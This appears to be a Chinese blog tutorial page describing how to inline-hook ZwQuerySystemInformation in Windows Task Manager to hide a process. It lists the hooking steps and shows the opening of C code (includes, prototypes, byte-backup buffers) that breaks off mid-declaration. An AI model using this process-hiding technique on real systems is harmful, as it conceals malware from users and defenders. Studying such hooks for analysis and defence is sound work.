Advertisement

InlineHook-任务管理器-ZwQuerySystemInformation-隐藏进程

阅读量：

InlineHook任务管理器_ZwQuerySystemInformation_隐藏进程

hook步骤：

定位目标函数的内存地址

将目标函数初始指令替换为跳转至自定义函数的指令

移除钩子，恢复目标函数的正常执行流程

在完成信息筛选后返回结果

hook代码如下

复制代码 
    #include<windows.h>
    #include<Winternl.h>
    
    BOOL hook_code();
    BOOL unHook_code();
    NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
    char StroneDate[5]={0x00,0x00,0x00,0x00,0x00,};//备份原始字节
    DWORD OldProtect;//原始页保护属性
    DWORD dwAddress;//跳转偏移地址
    FARPROC procaddr;
    DWORD num;
    byte pBuf[5]

全部评论 (0)

还没有任何评论哟~

相关文章推荐